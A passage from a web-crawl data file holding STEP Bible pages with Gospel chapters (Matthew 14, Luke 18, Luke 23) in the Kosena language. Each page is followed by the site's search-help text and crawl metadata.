siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.1","date":"2018-04-26T23:15:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948617.86\/warc\/CC-MAIN-20180426222608-20180427002608-00161.warc.gz","language":"kze","language_score":1.0,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0}","num_words":959,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 14\nYóni nombó pétinkaraiwai pukáin-kwasai.1 minkánáá Ísuna mayáígón-áái símae íyúwana Káríri-marara-kawaanako áwíꞋa Éróti mináímbá iséna 2 kwená mayáí-kwáásíyávéna séna minkwáásígó Yóni nombó pétinkaraiwaiman-iye. pukáimpinkemba usásinkena póna asirayámbá kwempímbá kwáyáísana mirám-báyáí kwémayaiye sirái. 3 ááéma Éróti kwenáváko awainínkómbá áwíꞋa Erotíyasimba mairówana Yóni séna enáváko awainínkómbá aambá áúmbakaawa mayááne simá-simaꞋa úwana Éróti tiꞋmarówasa Yónimba koáíꞋmaesa ándávaꞋa máánkarowana 5 Éróti Yónimba inkamónáe súmba kwaási-taaroi inkaiséna íma inkánkaiye. kwaási Yónintavesa sésa Áánútun-aai simátímíwaiman-iye suwaná Éróti séna Yónimba inkámónasa áwááꞋa siyénááowe séna íma inkaména máyowana 6 kwembó ánkaron-kanaamo túwana anón-tanomba kaumái sáwíva-kwaasi tímúwasa nowaná Erotíyasi ayáámúnko téna túrankaꞋa araimá marówana Éróti aamoí umánkena 7 minárásígóntávéna séna nóin-tantaatavena ankáíya simásímínaꞋa áméno. áraiꞋa súnda póꞋa sísainaꞋa áméno súwana 8 anówamba koáísaa ena súwana anówama aaí súwana ÉrótinopaꞋa téna séna Yóni nombá pétinkaraiwai aꞋnómbá aráꞋmái táávepimba maré simiyó súwana 9 iséna arumbá kwéumbanivo aivaꞋá asirayán-áímbá siráin-aimba imáyáa éna toómbó naan-kwáásígwáráꞋá ísaraantavaiye séna íma aꞋáo sénáe séna 10 moóráwaimba aiꞋmarówana ándávinkemba Yónimba anumarambá aráꞋmái aꞋnómbá 11 táávepimba maréna maimaéna minárásígómbá máamuwana maimaéna anówamba máamuwasa 12 Yónina kwayó-kwáásí isésa anómba komaimái utamánkesa ÍsunopaꞋa tésa tasimámakaawe.\nnaaémba Éróti Ísuna mayáígón-áái iséna séna minkwáásígó Yóni nombó pétinkaraiwai éna pukáimpinkemba usásinkena póna asirayámbá kwempímbá kwáyáísana mirám-báyáí kwémayaiye Éróti siráiye.\nÍsu sáwíva-kwaasi toómbá tímakain-kwasai.13 Yóni puwómba kwená kwayó-kwáásí Ísumba simámúwana iséna tuwéna kwená kwayó-kwáásíyé nompí-sípívímbá usámaaisena kwaásimo ímo máyaiyapata kónáe séna kúmba naaóꞋ-naokewai mináímbá isésa marapáꞋá kóyo uwaná nompí-sípívímbá kwéna 14 marapáꞋá ásávomba misáwívá-kwáásí tuwánéna arumbá umátinkena tíꞋo ún-kwaasi asóvamatinkaraiye.\n15 Ísu asóvamatinkowasa enónkaꞋa kwená kwayó-kwáásí kwenópaꞋa tésa sésa íma sáwíva-kwaasi máyáapaꞋan-ivo enáíndaraꞋa tiꞋmárénasa egwaaꞋ-náópimpaꞋa kwénaaesa toómbá meéyámbáráaro suwaná 16 Ísu séna toóntááꞋa íma kwíyaꞋa toómbá tíméro súwasa 17 miwí sésa sáwíyan-tomba évaꞋaasei-tonkwara kaeꞋ-nóyáákwáráꞋá kwáyáivo sáwíva-kwaasivimba íma kanaán-íníye suwaná 18 Ísu maimaé másíméro séna 19 sáwíva-kwaasiyavena maraꞋá máéro séna évaꞋaasei-tonkwara kaeꞋ-nóyáákwáráꞋá maisokéna kwíyómpaꞋa karákéna Áánútuntavena súwi simásuwena mintómbá topán-topan-umai kwená kwayó-kwáásí timúwasa misáwívá-kwáásí tímúwasa 20 amáparawai nowaná tímúꞋa vówasa sáwíva-kwaasi 5,000 kwaaima uwasá aaraiyé iyámpóígwarare miráumai-kwaasi nowaná tímúꞋa vówasa Ísuna kwayó-kwáásí mintón-ayai sísamaivakemba kaeꞋá kumbaimái-unampimba áítumai ógwitaraawe.\nÍsu non-avóvomayaapaꞋa kuráin-kwasai.22 áítumai ógwitowana minkákémbá Ísu kwená kwayó-kwáásí tiꞋmaréna séna kesí aivaꞋá nompí-sípívímbá usámaaiseꞋa menávápáꞋ-náópaꞋa koró. misáwívá-kwáásí kwétiꞋmareꞋa séꞋa kentí naaóꞋ-naoꞋa koró simátimenaumne séna 23 misáwívá-kwáásí tiꞋmarówasa miwítí naaóꞋ-naoꞋa kuwaná ÁánútumpaꞋa námúnaamo síndayavena omápaꞋa umáyowana noꞋwáámba aúkúwana Ísu kweyáá máyowasa 24 kwená kwayó-kwáásí nompí-sípívímbá non-avuvumpáꞋá máyówana maramá nénkaꞋa kwáyowana anón-unda toꞋmaé kwétena misípí tayátoꞋmarowasa íma kumbá 25 irataróꞋa Ísu non-avóvomayaapaꞋa kwénaaena kwená kwayó-kwáásímó máyónkaꞋa túwasa 26 non-avóvomayaapaꞋo kwénaaumba awánésa táátavesa ésa tiyántámbá kwétowasa sésa kwaántáo kwénaaiye suwaná 27 Ísu avekáán-umai séna tááꞋa kaivó aáno máéro. kemá úne súwana 28 Pítaa simámena séna emó Ísóigo úrambo éma sinaꞋá non-avóvomayaapaꞋa emó máyaandavaꞋa konó súwana 29 Ísu séna kanaán-ivo tiyó súwana nompí-sípívínkémbá kunásávena non-avóvomayaapaꞋa Ísumo máyopaꞋa kúmba 30 kaweꞋá umái kúmba anón-undamo toróntavena imáyáa éna inkaisúmba nompímbá kunávekoraꞋnara kwéena anónkaꞋa séna Ísóigoo kembá tátoraao súwana 31 Ísu avekáán-umai ayáámba árúꞋmai tátorena séna anón-undamo toráintavai sáwí-imayaa e kesí asirayántávémo ímo imáyáamo óndayavai kunáveraane. kesí asirayántáváí íma kaer-ímáyáá uwo súwasarai 32 nompí-sípívímbá usámaaisewana anón-undao maivaiyówasa 33 nompí-sípívímbá máyówai Ísuna imáyáa mósá marésa sésa áraiꞋa Áánútu ááninko óne siráawe.\nÍsu KénésárétivaꞋa tíꞋo ún-kwaasi asóvamatinkarain-kwasai.34 áraiꞋa Áánútu ááninko óne sésa kwaaúnóná menávápáꞋá Kénésáréti-maravaꞋa kumbá marapáꞋá ásávowasa 35 mimbápákén-kwáásí Ísumba aúyésa naaóꞋ-naoꞋa simátimesa Ísumo tamaún-aimba isésa tíꞋo ún-kwaasi tíꞋmaesa tóyo ésa 36 sésa ená unáánkwátói-araairaꞋa tátoraiyana tíꞋa étinkainkwae suwasá tátórówana tíꞋa étínkaraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.14","date":"2018-04-22T16:35:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945624.76\/warc\/CC-MAIN-20180422154522-20180422174522-00630.warc.gz","language":"kze","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999890327453613}","num_words":670,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 18\nmoóráwai ketor-ínínkón-áái ísarain-kwasai.1 Ísu séna aasiyaasí ÁánútumpaꞋa námúnaa kwésesa túwáavo séna kwántámai-aimba simátimena séna 2 moórá-naopaꞋa aaimó isáí-kwáásígó ména íma Áánútu áároi inkaiséna íma kwaásiti imáyáa éna máyáísana 3 mindáópaꞋa ketor-ínínkó ména aasiyaasí aaimó isáí-kwáásígónópaꞋa tóyo éna séna sáwíꞋa umásinkanaesa kwéovo aaí súwaꞋnaa umásinkaao sisaná 4 ayáátáákaꞋa kwenáái íma ísarena naaémba imáyáa éna séna Áánútu ááꞋa íma inkaiséꞋa kwaásiti imáyáa íma éꞋa kwéunda póꞋa 5 minínínkó kesópaꞋo timbá suwesaráánivaimpoꞋa áwaꞋnaa ónaumne siráiye. 6 Ísóigo simásuwena séna aaimó isáí-sáwí-kwáásígón-áái imáyáa oró. 7 Áánútuna kwaási kwempáꞋó námúnaamo símae kwéiyomba túwáavo séna íma ayáátáákaꞋa úwoi maéna miwí táái iséna 8 sáwíꞋo umátínkénkaꞋa ááéma túwaꞋnaa íníye. naaémba kemá kwaási úrandako ókwaraꞋa kúmóndaraꞋa máyaiyan-kwaasivinkemba kesááiyavesamo áraire sésamo kesémo aráápai-iꞋa ónááo. íya ónááoo tuwánanaumne Ísu séna ÁánútumpaꞋo námúnaamo símae kwéiyomba túwáavo séna mináímbá siráiye.\námáán-kawaa-kwaasigonte táákísi máyón-kwaasigontei kwaasái.9 évakarawai kawe-kwáásí úne sésa kentúma maé iyésa óꞋon-kwaasi túma simái sáwíꞋa umátínkén-kwaasiyavena kwántámai-aimba Ísu simátimena séna 10 kae-kwáásígórai moóráwai ámáán-kawaa-kwaasigon-ivo moóráwai táákísi-ontamba máyáin-kwaasigo isasaráí anóm-bonoꞋ-naumpaꞋa námúnaa séyáe sésarai iyóyamba 11 ámáán-kawaa-kwaasigo kokuꞋá ména kwenáúma maé iyéna séna Áánútuwo kemá évakarawai ontembá íma kwéumpo entávéꞋa súwi kwésune. umóyámbó maésamo kampaꞋó kwésesamo aarai-úmóyámbá maésamo ombá kemá íma mirá kwéune. maa máyáiwai táákísi máyáin-umoyan-kwaasi intembá kemá íma mirá kwéune. 12 aasiyaasi-sóntááráꞋá kae-kae-táwai monotávéꞋa imáyáa éꞋa íma toómbá kwénaumne. aasiyaasi-kígáúgóná sontaaráꞋá mayáúnda-yantaaꞋa taaínkeꞋa kemá avaréíyaimba maéꞋa moóráma embá ámaꞋmaeꞋa kwéiyune sisaná 13 táákísi máyáin-kwaasigo moórávaꞋa kokuꞋá ména aigaemá éna kívairena séna Áánútuwo kempímbá sáwí-imayaa kwáyáivo arumbá umásinkaao siráiye. 14 Ísu mináímbá simátimena séna ísáaro. Áánútu táákísi máyáiwaina sáwí-imayaa mayáúwáísana Áánútuwe tágárotamai maéna kwená naaópaꞋa kwisaná ámáán-kawaa-kwaasigo kwempímbá sáwí-imayaa úwoi kwáyáísana kwená naaópaꞋa kuráiye. anón-kwaasi úne síyawaima Áánútu túwíꞋa móruna tuwánívo Áánútu aísamaivimba máyáawaima Áánútu túwíꞋa maimaé iyíníye Ísu siráiye.\nÍsu iyámpói kaweꞋá umátínkarain-kwasai.15 simátimuwasa évakarawai Ísu tátorena kaweꞋá umátinkainkwae sésa iyámpói tíꞋmaesa tuwasá kwená kwayó-kwáásí tuwánésa kóro suwaná 16 Ísu miníyámpóíyávéna tááyena séna teró. íma kóro séꞋa tiyuwáíyasa kesópaꞋa iyámpói úwoi teró. miníyámpóí kesópaꞋa tentembá Áánútu kwená kwaási kawááimba miráráán-umai kwégawaaimba iyámpói kesópaꞋa tí-amba íma ítátinkaaro. 17 áraiꞋa simátimeꞋa séꞋa Áánútuntavesamo sésamo iyámpóíraan-umai kenkáꞋá kwégawaa-onemo síyanamo éna miwíráꞋá kawááinivo ímo mirámó síyawaimo éna íma kawááiniye Ísu siráiye.\nóísankwara-kwaasigona kwaasái.18 súwana moóráwai Yútaa-kwaasiti anóndako ÍsunopaꞋa téna séna anóndakoo kaweꞋnáꞋá óne. nóra umáíya aúnáiꞋa umái kwíyómpaꞋa maíꞋmaiꞋa ónaumno súwana 19 Ísu séna kentáváí nóra séwa kaweꞋnáꞋá óne kwéseno. mimbóráwáí Áánútu kweyáá kaweꞋnáꞋán-iye. 20 Áánútuna ámáámba áꞋa ísaraane. minámáámbá aúváívimba agaimaréna séna íma aarai-úmóyámbá oró. kwaási tínkamiyasamo puwónááoniꞋa íma oró. íma umóyámbá máyáaro. íma kampar-áímbá simátinkaaro. kentinóvowi túwíꞋa anómba oró siráiye súwana 21 mindákó séna minámáámbá kesí iyámpóírakemba ísareꞋa póꞋa kaweꞋá úmae kwéiyune súwana 22 Ísu iséna séna kaweꞋá éma moórá-yantaaꞋa íma kaweꞋá uráampo ená náaindaamba óꞋon-kwaasi kwétime óntamba mairé ímo makéwai tímatuwenana ená kaweꞋ-méyámbá Áánútu kwíyómpaꞋa ankáníye. tímatuwemo e kesínaaemba kwaráníyone súwana 23 mináímbá iséna sáwívaꞋ-naaindaamba makóntavena anón-imayaa úwana arunkó sáwíꞋa uráiye.\n24 arunkó sáwíꞋa kwéuwana Ísu awánéna séna sáwívar-oisambo makén-kwaasi Áánútumo kwená kwaási kawááipaꞋo kwíyamba umbaí táníye. 25 moórá-poigo áwíꞋa káámeri mimpóígó kwaigóná avaapimbá íma kanaán-umai kóveraniye. káámeri-poigomo kwaigóná avaapimbó kóverainkakai sáwívar-oisamba makén-kwaasi Áánútu kawááipaꞋa kosinó súwasa 26 mináímbá isésa áísaa esa sésa umbaí taintáváí nóran-kwaasiya Áánútu kawááipaꞋa ménaaoo suwaná 27 Ísu séna kwaási miwítí mayáínéí íma meéyámbaresa kónááovo Áánútu úwoi kanaán-umai mégwétinkaiye súwana 28 Pítaa séna isaaó. kentáásí naaópaꞋa tuwéta enánaaemba kwégwaraumne súwana 29 Ísu séna áraiꞋa simátimeꞋa séꞋa Áánútu kwená kwaási kwégawaaintavesa imáyáa ombá naambáruꞋa tuwésa tuwaínímbááꞋa tiyuwésa tuwaaísái tiyuwésa tinóvowi tiyuwésa táánimbaaꞋa tiyuwésa tiyáámúmbaaꞋa tiyuwésa miráumaimo túwáawaina anondáma 30 marapáꞋó máyáankaꞋa túwáán-tantaaꞋa mirán-tántááꞋá sáwívaꞋa mémaesa naaén-kanaa aúnáiꞋa umái kwíyómpaꞋa maíꞋmaiꞋa ónááowe Ísu siráiye.\nÍsu kwemó puwíníntavena siráin-kwasai.31 Ísu kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasi tíꞋmaena moórá-ayampaꞋa tínkarena simátimena séna maísáaro. Yérúsaremu-naopaꞋa konanayá naaóváꞋó Áánútun-aaimo simátímakowaimo kwaási úrandakon-aai agaimakáan-aimba paáriniye. 32 kembá síꞋmai óꞋonkaa-kwaasi timíyasa kanaárááꞋa kwésinkesa simái sáwíꞋa umásinkesa tuwirááíma kwisinkésa 33 súwírukuꞋa nésa sínkamiyaꞋa púwónasa utamásinkaiyaꞋa kaumbo-táwai maisuwéꞋa usásinanaumne Ísu súwasa 34 kwená kwayó-kwáásí nóin-aintavena siíyó sésa mináínkóná ááimbo aúpáꞋó kwáyontavesa íma ísámai kawer-ésa Yérúsaremu-naor-ampaꞋa kuráawe.\nÍsu aúramba kavíkówaimba kaweꞋá umánkarain-kwasai.35 Ísu aampaꞋá kúmba Yéríko-naor-egwaaꞋa kúwana moóráwai aúramba kavíkówai óntamba inaai simái mayánáe séna aanéivaꞋa kumbéna kwéinaai séna 36 sáwíva-kwaasimo tésamo kínkimbo sumbá iséna nááwiyaꞋo súwasa 37 Ísu Násáretivakewai kwétiye suwaná 38 anónkaꞋa séna Ísuwo Tévítin-andarakewai ómpo arumbá umásinkaao súwasa 39 aivaꞋá tun-kwáásí áwááꞋa aéésa sésa aaiseraaó suwaná mináímbá ivá kwétuwena óꞋomba anónkaꞋa séna Ísuwo Tévítin-andarakewai ómpo arumbá umásinkaao súwana 40 Ísu aampaꞋó kweémáyomba kwená egwaaꞋá kousásinena séna áíꞋmae teró súwasa áíꞋmaesa egwaaꞋá tuwaná Ísu áísaa ena séna 41 nóin-tantaara embó arááímo táínda-yantaaꞋa umánkanaumno súwana anóndakoo súramba kaweꞋá umásinkaao súwana 42 Ísu séna kentáváí kanaán-umai súwaꞋnaa íníwaiman-iye sénda póna aúramba kaweꞋá íno súwana 43 avekáámbá aúramba kaweꞋá umái awánéna Ísun-ánaaemba kwaꞋmái kwégwena Áánútu áwíꞋa mósá marówasa sáwíva-kwaasi awánésa Áánútu áwíꞋa mósá makáawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.18","date":"2018-04-21T09:55:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945111.79\/warc\/CC-MAIN-20180421090739-20180421110739-00024.warc.gz","language":"kze","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000042915344238}","num_words":889,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 23\nÍsumba PáírátinopaꞋa máánkaraan-kwasai.1 mináíntávésa misáwíváráwáí usásinesa Ísumba áíꞋmaesa Árómáani-kamaani-kawaanako áwíꞋa PáírátinopaꞋa máankesa 2 aaimá simánkesa sésa minkwáásígó Yútaa-kwaasi kampar-áímbá simátimena miwítí imáyáa simái sáwíꞋa kwéena séna Árómáan-kamaani-anondakomba táákísi-ontamba íma áméro kwésena kwesáváí séna Yútaa-kwaasiti kawáánáꞋá éꞋa Áánútu usásisinkaiwai úne siráiye suwaná 3 Páíráti Ísumba áísaa ena séna Yútaa-kwaasiti kawáánárá oónó súwana Ísu séna áꞋa séne súwana 4 Páíráti mono-káwáá-kwáásíyáváíyé úwoi-kwaasiyavaiye séna minkwáásígó íma sáwíꞋa uráisaꞋa awánáúmne súwasa 5 asiramái sésa Káríri-ayampaꞋa kwaásiti imáyáa kwéyavisena minkákémbá Yútiyaa-ayampaꞋa taména mirá kwéiye siráawe.\nÍsumba ÉrótinopaꞋa máánkaraan-kwasai.6 suwaná Páíráti mináímbá iséna séna Káríri-ayampakendaraꞋiyo súwasa 7 owé mináyámpákéndáꞋán-iye suwaná imáyáa éna séna Éróti mináyámpákén-káwáánáꞋá póna ívéꞋa maankáꞋá Yérúsaremu-naopaꞋa tamáyáimba póna aiꞋmáráanana kwenópaꞋa kwínana kwemá isáníye Páíráti simásuwena aiꞋmarówasa áíꞋmaesa ÉrótinopaꞋa máánkaraawe. 8 ayáátáákaꞋa Éróti Ísuntavena kwésun-aimba iséna Ísumba awánaanana ímo awánáúnda-mayai mayáínaꞋa awánanae súwasa Ísumba ÉrótinopaꞋa máánkarowana awánéna aamoí éna 9 óꞋon-oꞋon-tantaatavena áísaa úwana Ísu íma aaí súmba úwoi máyowasa 10 mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé mésa Ísumba simánkón-aimba asiramái suwasá 11 Érótiye kwená i-kwáásíyé Ísumba simái sáwíꞋa kwéumankesa kanaárááꞋa ankésa anón-kwaasiti unáánkwátói umánkesa áíꞋmaesa PáírátinopaꞋa ókwaraꞋa máánkaraawe. 12 ááéma Érótiye Páírátiye aaisambá sirááyamba pósarai minkánáámá kaweꞋá umái máyóyasa Ísumba áíꞋmaesa ókwaraꞋa PáírátinopaꞋa máánkaraawe.\nÍsumba arááꞋa tuvúwóro siráin-kwasai.13 máánkarowana Páíráti mono-káwáá-kwáásíyé anón-kwaasiye úwoi-kwaasiye tááyena 14 séna minkwáásí kesópaꞋa máankeꞋa séꞋa kwaásiti imáyáa simái sáwíꞋa kwéiye kwésewe. kentúrankaꞋa áísaa únana simánkáan-ainkona ááimba íma kwáyáísaꞋa awánáúmne. 15 Érótiye áísaa úyamba mináínkóná ááimba avakáá uwááekai úyana aiꞋmáráísasa áíꞋmaesa kesópaꞋa tiráawe. tuvuwíyanamo puwíníniꞋa uráimba 16 póꞋa i-kwáásí senasá áwírukuꞋa násúwéwaꞋa ayúrankanaumne súwasa [ 17 Yútaa-kwaasi tíyótaasa í-tánón-kánáá tóyo úntemba moórá-kwaasi tááyowana Páíráti minkwáásí ayúrankowana miwítópaꞋa kúwana Páíráti séna Ísumba ayúrankanae súwasa] 18 amáparawai anónkaꞋa sésa ímanivo tuvuwíyana pwínívo Párápásimba ayúrankaaao siráawe. 19 ááéma évakarawai kámááni-kwaasiye ááiꞋa tíyómba moóráwai áwíꞋa Párápásima kwemá moóráwaimba tuvuwúwana puwúwasa ándávaꞋa ánkarowasa sésa Párápásimba ayúrankaao suwaná 20 Páíráti Ísumba ayúrankanae-imayaa éna simátimuwasanivo 21 anónkar-anonkaꞋa sésa taairaꞋá tuvuwíyana puwíno suwaná 22 Páíráti ókwaraꞋa séna nóra-sawira uráinaꞋiyo. tuvuwíyanamo puwíníniꞋa íma uráimba póꞋa i-kwáásí senasá áwírukuꞋa násúwéwaꞋa ayúrankanaumne súwasa 23 anónkaꞋa sésa taairaꞋá tuvuwíyana puwíno símae íyún-ainko Páírátin-aaigomba usáyaaitowana 24 Páíráti miwí táái iséna owé séna kemó sentembá oró séna 25 moóráwaimba ayúrankena kámááni-kwaasi ááiꞋo tíyómbo moóráwaimba tuvuwúwana puwúwasa ándávaꞋa ánkarowaimba tááyowaimba Páíráti ayúrankena taairaꞋá tuvuwíyana puwíníye-imayaa untávéna Ísumba i-kwáásíráꞋá tímakaiye.\nÍsumba arááꞋa tuvúkáan-kwasai.26 timúwasa i-kwáásí Ísumba áíꞋmaesa kumbá moóráwai Sáíríni-naopakewai áwíꞋa Sáímoni kwemá Yérúsaremu-naor-ampaꞋa túwasa i-kwáásí tátoresa Ísumbo tuvuwónááon-taima áúgwaatarankesa sésa Ísun-ánaaemba tiyó suwaná mirá úwasa 27 sáwíva-kwaasi Ísun-ánaaemba kwaꞋmái kwéguwasa aaraiyómbá tirumbá umánkesa imá sirésa iviꞋá támaesa ánaaemba kwaꞋmái kwéguwana 28 Ísu kwanténa séna Yérúsaremu-naopaken-inintono. íma kesí iviꞋá téꞋa kentí iyámpóíyavaiye kesáváíyé iviꞋá taaró. 29 Yérúsaremu-naopaꞋa sáwí-kanaama tínímba ageíníné ímo iyámpóímo tinkésamo náámbo tímakaan-inine aamoí kwéesa iyámpói-iyaaimba póꞋa inkaiséꞋa kónaumne sésa aamoí kwéowe sénááowe. 30 minkánáámó tínímba sáwíyan-omakontavaiye anón-omakontavaiye sésa ááéma pukónáivo kítímae kusiráápaao sénááowe. 31 kemá aúná-tairaaniꞋa únda pósa sáwíꞋa kwéumasinkaavo keinárawaꞋa aáyánkayan-tairaamba ombá pósa sáwíꞋa anómba umátinkanaaowe Ísu siráiye.\n32 Ísu súwasa kae-kwáásí sáwíꞋa urááyan-kwaasigwaraꞋa tíꞋmaesa Ísunte tínkamonae sésa tíꞋmaesa 33 mimbárágó áwíꞋa aꞋnómayaampare supaꞋá kurésa Ísumba taairaꞋá tuvuwésa évarevar-akwampaꞋa kae-kwáásí taairaꞋá tuvúsúmarowana 34 Ísu séna kesivoó mayáígóná ááimba íma awánaresa kembá sáwíꞋa kwéumasinkaamba íma imáyáa e sáwí-meyamba íma timé sáwí-imayaa maitiyuwaaó súwasa i-kwáásí sésa kwená unáánkwátói nááwa mayáníyono sésa taaínkaar-urésa aávéima tésa usáyaaitaindawai mayáníye suwasá 35 kwaásiyomba mésa árimba awánésa Yútaa-anon-kwaasi kanaárááꞋa ankésa sésa óꞋowi túwaꞋnaa ena Áánútumo usásinkaiwaimo énamo éna kwesáváí kwenáúma áwaꞋnaa íníye suwasá 36 i-kwáásíyé kanaárááꞋa ankésa ikaaꞋó vón-domba maimaésa kwenópaꞋa tésa sésa naaó. 37 Yútaa-kwaasiti kawáánáꞋó émo e esáváí enáúma áwaꞋnaa uwo suwasá 38 ááéma aúváíma agaimakésa sésa Yútaa-kwaasiti kawáánáꞋán-iye sésa agaimái Ísu aꞋnónká-táíráꞋá mósá makáawe.\n39 mósá márówana sáwíꞋo uyan-kwáásímó tínkamuyan-kwaasigorai moóráwai Ísumba kanaárááꞋa ankéna séna Áánútumo usásinankaiwaimo émo e enáúma áwaꞋnaa e kenkáígwáráꞋá súwaꞋnaa uwo súwana 40 moóráwai séna íma mirá siyó. Áánútun-ááꞋo kwéinkaiseraai mirá íma sésino. kwembó sáwí-meyambo kwéamentemba kenkáígwáráꞋá mirá kwéowe. 41 kwemá íma sáwíꞋa uráiwaimba sáwí-meyamba kwéamevo keiráí sáwíꞋa uráuyawainkai sáwí-meyamba kwéumasinkaawe séna 42 Ísuntavena séna Ísuwo ená kwaási kawáá indaráꞋá kesí imáyáagwaraꞋa uwó súwana 43 Ísu séna áraiꞋa simámeꞋa séꞋa ívéꞋa kesé kaweꞋ-mápáꞋá méniyone Ísu siráiye.\nÍsu pukáin-kwasai.44 súwana kwáyáꞋwái amápaꞋ-mapaꞋa túnkwena aaváúmá kaapa marówana túnkumba 45 anóm-bonoꞋ-naumpaꞋa ampanta-óntámá úmakomba taváákaarumai kaesé umágúwana póna ÁánútunopaꞋa iyónááon-amba onta tisuwówana 46 Ísu anónkaꞋa séna kesivoó kesimambá enayáámpimba kwétoꞋmaraumne simásuwena puwúwana 47 i-kwáásítí kawáánákó Ísumo puwúmba awánéna Áánútu áwíꞋa mósá maréna séna áraiꞋa arupí-kwaasiman-iye súwasa 48 sáwíva-kwaasi koawánanaumne sésa torupamái máyón-kwaasi Ísumo puwúmba awánésa tirunkó umbaí tówasa miwítí naaópaꞋa kóyáwé uwasá 49 Ísuwemo naaún-kwaasiye Káríri-ayamapakemba Ísun-ánaaemba kwaꞋmaésa YérúsaremuvaꞋa tirón-inine nénkaꞋa tamésa amápa-tantaaꞋa awánaraawe.\nÍsumba utamánkaraan-kwasai.50 awánowana moóráwai áwíꞋa Yósépi Yútiyaa-maravaꞋa Árímátíyaa-naopakewai kwemá kaweꞋnáꞋá arupí umái máyowai Áánútu kwená kwaási kawáá íníye séna amuꞋmaréna póna Ísumbo tuvuwónáe sun-kwáásí tááiyavena íma owé siráiwai kwemá 52 PáírátinopaꞋa téna Ísun-auma utánáivo simiyó súwana owé súwana 53 Ísun-auma taairakémbá tamaimái aúná-ampantavimba asááumai maimaésa kwaási aúsámakon-ontam-buri-aivimba mámaresa kwaási íma makóm-buri-aivimba mámaresa 54 toómbó ákáꞋmaimo toꞋmayaa un-kánáá Yútaa-kwaasi agándon-kanaa sáwíyankaꞋa tíníye kwésuntavesa Ísumba utamánkówasa 55 Kárírivakembo Ísun-ánaaembo kwaꞋmaésamo tirón-inimba Yósépi-ánaaemba kwaꞋmaésa tésa Ísumbo utamánkomba taawánésa 56 tayauwerésa áúraꞋo mápérankanae sésa áséi-kwiyum-basawemba toꞋmayaa unkáꞋá agándon-kanaama túwana ámáámbo sunten-umái úwoi méraawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 